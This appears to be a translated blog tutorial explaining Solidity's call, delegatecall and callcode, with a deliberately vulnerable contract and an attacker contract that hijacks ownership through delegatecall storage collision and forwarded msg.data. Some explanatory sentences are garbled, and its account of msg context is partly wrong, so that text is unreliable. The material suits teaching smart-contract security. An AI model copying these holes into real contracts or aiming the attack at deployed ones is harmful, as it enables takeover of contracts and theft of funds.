Solidity Code Execution Vulnerability Principle

Table of contents

1. Three call methods

2. Two call parameter types

3. Vulnerability scenarios

3.1 delegatecall

3.2 call


1. Three call methods

There are three ways for a contract to call functions of other contracts in Solidity:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1)call()

call is the most commonly used calling method. The external calling context of call isthe callee contract, which means that the execution environment is the called After calling, the value of the built-in variable msg will be modified to the caller's running environment.

2)delegatecall()

The external calling context of delegatecall isthe caller contract, which means that the execution environment is the running environment of the caller. After the call, the built-in variable msg The value of is not modified for the caller.

3)callcode()

The external calling context of callcode isthe caller contract, which means that the execution environment is the caller's running environment, and the built-in variable msg is after the call The value of will be modified to the caller

2. Two call parameter types

There are two types of parameters passed into the call function:

1) Function signature

Function signature = function name + (parameter type list), uint and int should be written as uint256 and int256

func(uint arg1, int arg2)  ==>  func(uint256,int256)

 Calling method:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

msg.data

msg.data  is a global variable in solidity. The value is the complete calldata (the data passed in when calling the function). The first 4 bytes are the function selector. Each value of the following parameters will be converted into a fixed-length hexadecimal string of 32 bytes. If there are multiple parameters, they are concatenated together.

As shown in the figure, the parameter value of three_call is the same as the value of msg.data

2) Function selector

Function selector: the first 4 bytes of the Keccak hash of the function signature, followed by the parameters

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. Vulnerability scenarios

Prerequisite knowledge: EVM storage

In a single contractState variables are stored in storage and will be stored in the card slot in the order of declaration

contract A{
    address owner;
    B addrB;
}

3.1 delegatecall

Changes to delegatecall

When both contract A and contract C have state variables, if the function called by delegatecall modifies the value of the first state variable of contract C, then what is actually modified is the value of the first state variable in contract A, which is slot 0 of contract A. The state variable owner in

Vulnerability scenario:

  • The delegatecall address is controllable and the caller's contract state variables can be modified.
  • The delegatecall parameters are controllable and can execute sensitive functions of the called contract. For example, msg.data is used as the delegatecall parameter.
pragma solidity ^0.4.23;
// 合约 A
contract A{
    address owner;
    B addrB;
    
    constructor() {
       owner = msg.sender; 
    }
    
    function changeOwner(address _newOwner) public {
       require(msg.sender == owner); 
       owner = _newOwner;    
    }
    
    function setB(B addr) public {
        addrB = addr;
    }
    
    // vuln1:delegatecall 地址可控
    function vuln1(address _contract) public {
        _contract.delegatecall(abi.encodeWithSignature("func()"));
    }
    
    // vuln2:delegatecall 参数可控
    function() public{
        addrB.delegatecall(msg.data);
    }
}

// 合约 B
contract B {
    address public owner;

    function init() public  {
        owner = msg.sender;
    }
}

Attack contract

pragma solidity ^0.4.23;
import "./A.sol";

contract Attacker{
    address public owner;

    // 攻击 vuln1
    function func() public {
       // 修改合约 A 状态变量 owner
       owner = msg.sender;    
    }

    function attack_vuln2(address addrA) public {
       // 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
       // 而此时 msg.data 的前4个字节就是 init 函数选择器,
       // 进而执行了合约 B 的 init 函数
       // A(addrA).init();    
       addrA.call(abi.encodeWithSignature("init()"));
    }
}

3.2 call

When using call to call a function of another contract, the execution environment is the execution environment of the called contract, and the state variables of the called contract are also changed. Instantiating other contracts within a contract is equivalent to a call call.

The vulnerability scenario of call is similar to that of delegatecall:

  • call address is controllable: execute the same-name function of any address contract
  • The call parameter is controllable: execute any function of the contract at this address
    • The calling function signature is controllable
    • The parameters of the calling function are controllable

A feature of EVM: EVM does not have a parameter number verification process when obtaining parameters. It takes values ​​from front to back. After getting enough parameters, it truncates the excess parameters at the end, and no errors will be reported during the compilation and running stages. .

As follows: The following parameters 4 and 5 will be truncated

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

Guess you like

Origin blog.csdn.net/SHELLCODE_8BIT/article/details/134993896